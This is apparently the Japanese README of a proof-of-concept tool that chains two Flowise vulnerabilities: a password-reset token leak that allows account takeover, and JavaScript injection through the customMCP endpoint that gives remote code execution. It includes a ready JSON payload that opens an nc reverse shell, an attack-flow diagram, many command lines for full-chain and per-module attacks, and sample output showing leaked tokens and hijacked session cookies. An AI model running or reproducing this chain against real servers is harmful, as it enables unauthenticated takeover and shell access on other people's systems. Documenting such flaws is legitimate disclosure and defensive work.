{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← サニタイズされていないユーザー入力

Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

攻撃者                              Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← トークンがレスポンスで漏洩
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken cleared)          │  ← ATO 完了
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← クッキーを抽出
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() がバックグラウンドで起動]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   攻撃者の nc リスナー ←───────────────── サーバーが接続
   ✓  認証情報ゼロから完全な RCE

flowise-dual-cve-poc/
├── flowise_poc.py      # メイン PoC — 全モジュール + チェーンモード
├── requirements.txt    # Python 依存関係
├── README.md           # このファイル
└── DISCLAIMER.md       # 完全な法的通知

git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

# 最小限の呼び出し — フルチェーン + リバースシェル
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

nc -lvnp 4444

python3 flowise_poc.py -h

# リバースシェル（デフォルトペイロード）
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# リバースシェルの代わりにカスタムコマンド
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"

# カスタムATOパスワード + リバースシェル
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

# デフォルトの新しいパスワード
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected]

# カスタムの新しいパスワード
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "NewPassword2025!"

# 生のJSONレスポンスを表示
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] --json-output

python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123"

# スクリプト用のJSON出力
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123" --json-output

# リバースシェル — 自動ログイン
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  --lhost 10.10.16.35 --lport 4444

# カスタムコマンド — 自動ログイン
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  -c "id"

# 手動トークン — リバースシェル
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --lhost 10.10.16.35 --lport 4444

# 3つすべてのクッキーを手動で指定
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGci..." \
  --refresh-token "eyJhbGci..." \
  --connect-sid "s%3A4rey2nuk..." \
  -c "ls /root"

  [Step 1] [CVE-2025-58434] forgot-password トークンを要求中 ...
  [*] HTTP 201
  ────────────────────────────────────────────────────────────────────
    漏洩したアカウントデータ
  ────────────────────────────────────────────────────────────────────
  tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
  tokenExpiry   : 2026-04-13T05:14:17.621Z
  ────────────────────────────────────────────────────────────────────
  [+] 脆弱性あり — 認証なしでトークンが公開されました！

  [Step 2] [CVE-2025-58434] パスワードをリセット中 → Flowise@Pwn3d2025!
  [*] HTTP 201
  [+] パスワードリセット成功（tempToken クリア）
  [+] アカウント乗っ取り完了 → [email protected] / Flowise@Pwn3d2025!

  [Step 3] [Auth] セッションクッキーを抽出するためにログイン ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    抽出されたセッションクッキー
  ────────────────────────────────────────────────────────────────────
  token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
  ────────────────────────────────────────────────────────────────────

  [Step 4] [CVE-2025-59528] CustomMCP 経由で RCE を実行中 ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    RCE 結果
  ────────────────────────────────────────────────────────────────────
  モード    : リバースシェル
  LHOST   : 10.10.16.35
  LPORT   : 4444
  [+] リバースシェルペイロードを発射しました！
  [!] 10.10.16.35:4444 への接続を待機中 ...
  [!] リスナーが実行中であることを確認してください: nc -lvnp 4444
  ────────────────────────────────────────────────────────────────────
  [+] チェーン完了